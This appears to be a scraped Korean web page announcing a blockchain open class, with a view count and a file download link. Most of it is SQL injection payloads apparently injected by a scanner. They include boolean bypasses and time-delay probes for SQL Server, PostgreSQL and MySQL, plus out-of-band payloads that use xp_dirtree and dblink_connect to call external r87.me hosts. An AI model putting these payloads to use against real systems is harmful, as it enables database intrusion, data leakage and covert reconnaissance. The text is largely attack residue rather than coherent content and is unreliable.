[LYZE 블록체인 오픈클래스] 1. 블록체인?! 이것부터 알아두기 조회수 : 119 파일 다운로드 링크: https://drive.google.com/file/d/1V0gZqkZ2jdOjBhYkkUOMV44YZsXwB3cI/view?usp=sharing
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3 OR 1=1
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exec(‘xp_dirtree ”\\zs_zixiop0rhwsyr76lmwviusve2_1r190ynrzga’+’d9s.r87.me’+’\c$\a”’)
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x–
3′));SELECT pg_sleep(25)–
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‘
‘ WAITFOR DELAY ‘0:0:25’–
dblink_connect(‘host=kvcwg5e-dfn24aqmel1sbsxqytahgm8z7cibst4b’||’fgs.r87.me user=a password=a connect_timeout=2’)
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
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1
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1